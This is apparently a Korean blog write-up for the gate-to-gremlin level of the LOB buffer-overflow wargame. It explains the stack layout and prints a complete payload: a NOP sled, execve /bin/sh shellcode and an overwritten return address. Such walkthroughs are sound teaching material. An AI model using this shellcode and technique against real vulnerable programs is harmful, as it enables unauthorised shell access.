System&Write up/LOB

LOB gate -> gremlin Write up

Jubil 2017. 10. 3. 16:02
반응형

LOB gate -> gremlin

 

ID : gate

Passwd : gate

 


접속해서 ls 명령어로 파일과 디렉터리를 확인합니다.

 


cat 명령을 이용해서 코드를 확인합니다.

 

버퍼에 셸코드를 박고 Return Address를 버퍼의 주소로 변조하겠습니다.

 

tmp 디렉터리를 만들고 gremlin 실행파일을 복사하고 디스어셈블 합시다.



확인해보면 스택프레임을 0x100(십진수로 256)만큼 할당하는게 보입니다.

 

메모리 구조는 이렇게 될 것 같네요.

| buffer(256) | SFP(4) | RET(4) |

 

그럼 A*256+B*4+C*4를 넣고 버퍼의 주소를 알아보도록 하겠습니다.

 


확인해보면 버퍼의 시작 주소는 0xbffff908 이겠네요.

 

256(buffer)+4(SFP) 만큼을 쉘코드와 NOP으로 덮고, Return Address를 버퍼의 시작 주소로 변조하겠습니다.

 

payload를 구성해보겠습니다.

219byte NOP + 25byte 셸코드 + 16byte NOP + 버퍼의 시작 주소(0xbffff908)

 

payload : `python –c ‘print “\x90”*219 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + ”\x90”*16 + ”\x08\xf9\xff\xbf"’`

 

원본 파일에 공격해보겠습니다.


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB wolfman -> darkelf Write up  (0) 2017.10.07
LOB orc -> wolfman Write up  (0) 2017.10.07
LOB goblin -> orc Write up  (0) 2017.10.03
LOB cobolt -> goblin Write up  (0) 2017.10.03
LOB gremlin -> cobolt Write up  (0) 2017.10.03